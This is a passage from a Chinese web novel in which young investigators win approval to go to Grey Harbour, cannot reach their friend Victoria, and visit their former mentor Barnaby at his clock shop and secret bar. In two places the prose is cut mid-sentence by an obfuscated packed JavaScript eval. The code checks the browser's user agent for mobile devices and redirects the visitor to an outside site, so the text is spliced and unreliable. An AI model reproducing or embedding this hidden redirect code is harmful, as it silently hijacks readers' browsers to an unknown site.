他顿了顿,那双深邃而严厉的眼睛扫过在场的每一个人:“我给你们这个为你们的同僚与家人复仇的机会。” “你们的父辈都是RBAP最强大、最杰出的战士,你们不要让我失望。” 克劳利的声音低沉而威严,回荡在寂静的办公室里,却像一股最温暖的潜流,瞬间冲散了几个年轻人连日来心中积累的冰冷与委屈。 亚瑟是第一个做出回应的人。 他猛地向前踏出半步,右手握拳置于左胸之上,向着克劳利局长行了一个标准的RBAP式敬礼。 “是!局长先生!”他的声音因为激动而微微颤抖,“我们绝不辜负您的期望!” 安弥有样学样地也行了一个礼,眼睛有些发红,一开口声音就带了一丝哽咽:“谢谢您,局长先生!” 芬恩也跟着行礼:“谢谢局长先生。” 纪元站在旁边,面无表情地看着克劳利。 安弥拽了拽他的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536772|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角,给他使了个眼色,小声提醒:“纪元!” 他漆黑的眸子先是落在安弥焦急的脸上,而后才抬起头,行了个礼:“谢谢局长先生。” 离开了克劳利的办公室,7组带着一种不真实的恍惚感,回到了位于地下的B102室。 “亚瑟,我们应该亲口告诉维多利亚这个好消息!”安弥的眼睛因为开心而亮得惊人。 亚瑟点了点头,利用队长的权限接通了菲尼克斯庄园的外部线路。 电话响了很久才被接起,电话那边传来了一个苍老而克制的男声。 “这里是菲尼克斯庄园,我是管家温特斯。请问,您是哪位?” “我是亚瑟·索恩,RBAP第七外勤调查组的队长。我想找维多利亚调查员,跟她同步一下我们目前的工作进展。” 电话那头沉默了片刻,才缓缓道: “抱歉,索恩先生。维多利亚小姐现在因为身体不适正在家中休养,她现在不方便接电话,也谢绝一切来访。” “如果没有其他事,我就先挂断通讯了。” “嘟……嘟……嘟……” 听着电话里的忙音,亚瑟对着满脸期待的安弥摇了摇头:“他的管家说她正在休养,现在不方便接电话,也谢绝拜访。” 安弥担心地说:“是不是我们去英灵殿的事情被她爸爸知道了,她被关禁闭了?” 亚瑟点了点头:“很有可能。虽然说马库斯叔叔压下了我们去英灵殿的这件事情,但菲尼克斯家族在RBAP有很大的影响力,她爸爸会知道这件事并不奇怪。她的家族肯定不会允许她去做这种挑战权威的事情。” “那我们怎么办啊?维多利亚之前那么帮我们,我们不能就这么抛下她。就算她不跟我们去灰港,我们也要听到她亲口告诉我们才行。” 亚瑟点了点头,一时眉毛也拧了起来,犯了难。 这时门外,传来了一阵急促的脚步声,办公室的门紧接着被推开了。 马库斯叔叔一脸喜悦地走了进来,他的脸颊因为快速走路而有些泛红。 “孩子们!好消息!” 他快步地走到他们面前,一脸得意地压低了声音说道:“我和哈里森那个老顽固喝了一下午的茶,他终于松口了!他说他会去联系阿尔法小队的队长沃尔特,让你们去协助他们调查!” 然而,他并没有看到预期中年轻人们惊喜的反应。 安弥和亚瑟对视了一眼,忍不住笑了起来:“谢谢您,马库斯叔叔!可是,我们刚刚去见克劳利局长了!” 看着马库斯错愕的表情,安弥接着说:“他知道了我们去英灵殿的事情。虽然也批评了我们,但是他说,‘情义、正义、理想,同样是RBAP调查员们安身立命之基’,所以,哈里森会受到申诫,我们直接被批准去灰港协助阿尔法小队调查啦!” 听完安弥的话,马库斯脸上的错愕迅速转化成了由衷的欣慰,“‘情义、正义、理想,同样是RBAP调查员们安身立命之基’,克劳利局长说得对。我的好孩子们,这正是你们最珍贵的品质。克劳利局长虽然严厉,但他看到了这一点。这真是令人高兴。” 突然,他注意到了什么,环视了一圈,疑惑地问道:“咦,维多利亚呢?我怎么没看到她?” 19. 巴纳比老爹 突然,马库斯注意到了什么,环视了一圈,疑惑地问道:“咦,维多利亚呢?我怎么没看到她?” 亚瑟的脸上闪过一丝黯然:“哈里森主管说她在家休养了。我们先前给她打电话,她的管家说她现在不方便接电话。我们猜测她是不是被家里人关禁闭了。” 马库斯的表情凝重了起来:“我想是的。菲尼克斯伯爵还是这么的……唉!” 安弥担忧地说:“可是我们还是很想把这个消息亲口告诉维多利亚。” 马库斯理解地点了点头。 他沉吟了片刻,突然眼睛一亮,说:“有了!RBAP的精英调查官在考核通过后,后勤档案部会为他们分发一枚用于紧急联络的赫尔墨斯信鸽。” “你刚入职不久,可能还没有跟她交换徽章印记。但RBAP每个人的徽章印记,在我这里都有备份。” 马库斯和善地朝他们眨眨眼睛:“如果有队长申请自己队员的联系方式,后勤档案部是不会拒绝的。” 亚瑟和安弥喜出望外,立刻跟着马库斯去到了他的办公室。 拿到维多利亚的赫尔墨斯信鸽徽章印记后,亚瑟便和安弥来到了总部一楼一个靠窗的休息区,开始给维多利亚写信。 很快,他们就把信写好了。亚瑟把信放进信鸽脚上的信筒里之后,用维多利亚的印记徽章在信筒盖上轻轻按了一下。 然而,信筒顶端的符文闪烁了几下,就熄灭了。 亚瑟顿了顿,又加重力道重新按了一次。结果依旧如此。 站在旁边的安弥问:“这是怎么回事?” 亚瑟皱着眉头:“赫尔墨斯信鸽搜寻不到维多利亚的信号。” 这不正常。 赫尔墨斯信鸽是RBAP的天才炼金术师,如今的技术研发部主管菲利克斯·芬奇年轻时的得意之作。 哪怕是最初级的赫尔墨斯信鸽,信号覆盖一个城市也是简简单单。亚瑟手上的是一只中端赫尔墨斯信鸽,它的信号能覆盖整个阿尔比恩联合王国。而最高级的赫尔墨斯信鸽,能漂洋过海,跨越大洲传送信息,只要对方的信号还存在,就没有它到不了的地方。 何况,他们为了确保信鸽通信信号良好,还专门来到了一楼的休息室。 “是不是信鸽坏掉了?” “不太可能。前不久我还用它给莫顿局长送信了。” 虽然嘴里这么说着,亚瑟还是拿起信鸽仔细地检查了一遍。 “信鸽没有问题。只有一种可能,维多利亚的信号被屏蔽了。” 就在这时,窗外扑簌簌地飞来了一只跟RBAP的赫尔墨斯信鸽不同的银色铸铁信鸽,落在了亚瑟面前的桌子上。 “谁?是维多利亚吗?” “看这个信鸽的制式,应该是巴纳比老爹。” “巴纳比老爹!”安弥顿时眼睛亮了起来。 巴纳比·科尔是安培风的前队友。与亚瑟的爸爸加文·索恩、如今的技术研发部主管菲利克斯·芬奇,以及安培风的未婚妻伊莉丝,共同组成了那个年代最精锐的黄金小队。 只是在经历了那个事件之后,队长加文·索恩和伊莉丝双双牺牲,他就离开了RBAP,隐姓埋名成为了新阿尔比恩东区的一家其貌不扬的钟表店店主。 同时他还有另外一个更加重要的身份——地下酒吧「齿轮与幽灵」的幕后老板,整个新阿尔比恩地下消息最灵通也最昂贵的情报贩子。 他每年都会去灰港几次,非常喜欢安弥,经常给她带一些奇奇怪怪的炼金小玩意儿,什么发条蜘蛛啦、炼金兔子之类的。 不过与他更熟悉的是亚瑟,每次亚瑟来新阿尔比恩办事,都会去他那里坐坐。 亚瑟打开信看了下,抬起头说:“巴纳比老爹知道我们来新阿尔比恩了,说让我们去东区找他。” 安弥点了点头,不由得期待了起来。 两个人一下班,就来到了新阿尔比恩的东区。 不同于西区的光鲜亮丽与富庶繁华,新阿尔比恩的东区是充满了贫穷、混乱、罪恶的地方。 工业区巨大的工厂烟囱常年吞吐着黑烟,廉价公寓随意地搭建挤压在一起,而码头区则是整个新阿尔比恩最龙蛇混杂的地方,水手、走私犯、各种帮派在这里汇集,如无必要,新阿尔比恩的普通人鲜少踏足这里。 亚瑟带着安弥,穿过由红砖和木头构成的廉价公寓群,穿过一条条终年不见阳光的狭窄小巷,进入了一个不留意都不会注意到入口的死胡同里。 走到胡同的尽头,他们停了下来。 安弥看到了一个挂着一个锈迹斑斑的齿轮招牌的小店,上面写着「科尔老爹钟表店」。 店门虚掩着。亚瑟走到门口,直接推开了门,然后才敲了敲。 安弥跟着走了进去,一股黄铜保养油的味道扑面而来。 店内狭小且昏暗,墙壁上挂满了各式各样的钟表,有的已经坏了,有的还在滴滴答答地走着。 柜台后面坐着一个男人,正是安培风的前队友,如今在东区混乱的地下黑市中被称为巴纳比老爹的巴纳比·科尔。 然而,巴纳比老爹并不是真的老爹,而是一个身材高大、肌肉虬结的壮年男人。他拥有一头浓密的黑色卷发,钟表店的柜台太过狭窄,他的身体坐在那里显得有些拘束。 此时,他的眼睛上正戴着一个单片黄铜放大镜,佝偻着背,全神贯注地修理着一枚怀表机芯。 听到有人来,他头都没抬,懒洋洋地说:“买表还取货?” 亚瑟说:“老爹,是我们。” 巴纳比的手猛地顿住了,立刻摘下了眼睛上的单片放大镜,看向了门口的两个人。 “亚瑟!安弥!你们来了!”他走出柜台,大步流星地走到两人面前,分别给了他们一个用力的拥抱。 闻着他身上令人安心的机油与烟草的味道,安弥的眼圈瞬间就红了,带着哭腔脱口而出:“老爹!” 巴纳比满脸心疼地看着她,神情中又有着化不开的悲伤,“嗯,老爹在。” 说完,他去店门上了锁,便带着他们穿过那布满了零件与灰尘的后堂,打开了隐藏在巨大落地钟背后的暗门。 门的背后,正是地下黑市消息最灵通的齿轮与幽灵酒吧。 只是现在还未到营业时间,酒吧里空无一人,只有几盏昏黄的壁灯亮着。 巴纳比将他们带到了吧台前,给他们倒了两大杯黑麦啤酒。 “丫头,能喝吗?” “不能喝。” “能喝。” 亚瑟和安弥的声音同时响了起来。 安弥看了一眼亚瑟,认真道:“我早就成年了,可以喝的。” 亚瑟愣了愣,点了点头,没再多说什么。 巴纳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542077|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比嘴角勾了勾,便去后厨忙活了。没一会儿,就端出了两大盘烤得滋滋作响的黑胡椒肋排,摆在了他们的面前。 “先填饱肚子。”巴纳比说罢,便坐在了吧台后的高脚凳上,点燃了一根劣质雪茄,沉默地看着眼前两个孩子进食。 等到两个人的食物都见了底,巴纳比按灭了手上的雪茄,对安弥说:“丫头,原原本本地告诉老爹,都发生了什么。我要听每一个细节。” 于是,安弥的回忆再次回到了那个彻底改变了她人生的那一天。 从警报的响起,到暗之住民的入侵,到她与安培风被困在地下五层,再到那个可怕的小丑的出现…… 当安弥讲到安培风为了将她推向生路而独自一人走向死亡的那一刻,她的声音不由得再次哽咽了。 巴纳比握着酒杯的手猛然收紧,“咔嚓”一声,那个厚实的玻璃酒杯,竟然被他硬生生地捏出了一道细密的裂纹。 等安弥全部说完,巴纳比从他那沾满机油污渍的马甲口袋里掏出了一个银质小酒壶,拧开盖子,默默地灌了一口里面的烈酒。 这个酒壶,是安培风送给他的。 他曾不止一次地侥幸想过,在灰港那个偏远的分部,安培风能心无旁骛地把两个孩子培养好,平静地度过他的余生,没想到他最后还是走上了和加文他们一样的道路。 如今,当年的黄金小队,只剩下了他这个懦弱的逃兵和那个贪慕虚荣的投机者苟活于世。 “接着说,安弥。你们来了新阿尔比恩之后,过得还好吗?” 安弥和亚瑟对视了一眼,才说:“我们在总部入职之后,一直想回去,可是我们的主管哈里森拒绝了亚瑟的申请。” 巴纳比冷哼了一声,“哈里森这个狗仗人势的东西,正常。” 安弥又接着讲述了维多利亚为他们想办法,去家里求情、带他们去英灵殿,直到最后一波三折地得到了克劳利局长的许可的部分。 巴纳比的兴趣却落在了一个安弥意想不到的地方:“维多利亚?菲尼克斯家的那个孩子?” “是的。” “不愧是玛蒂尔达的女儿,和她的妈妈当年一模一样。佩雷格林那个老顽固,恐怕要气疯了。” “玛蒂尔达?老爹你认识你维多利亚的妈妈?” 巴纳比并不想多说,只是道:“认识。那是一个不得了的女人。” 于是安弥接着说了下去:“从那天以后,维多利亚就没来上班了。亚瑟给她打电话,她的管家说她在休养,不能接电话,也不接受拜访。” “然后,我们从马库斯叔叔那里拿到了维多利亚的赫尔墨斯信鸽通讯徽章,却没能搜寻到她的信号。” “佩雷格林那个老顽固,肯定是把赫尔墨斯信鸽的信号屏蔽了。看来他是铁了心要切断维多利亚与外界的联系。” “可是我们不想抛下维多利亚。” 巴纳比笑了起来:“你们当然不能抛下维多利亚。她可是玛蒂尔达的女儿。你们要是抛下她,那是对她的侮辱。” 说罢,他从柜台下面的抽屉拿出了一张纸条,递给了亚瑟。 亚瑟低头看了下,是一张简易的地图。 “明天照着这张地图,沿着东区三号水道走到尽头,有家不开门的茶馆,名字叫做玉衡轩。” “你去找一个姓柳的姑娘,就说是老爹让你们来的。”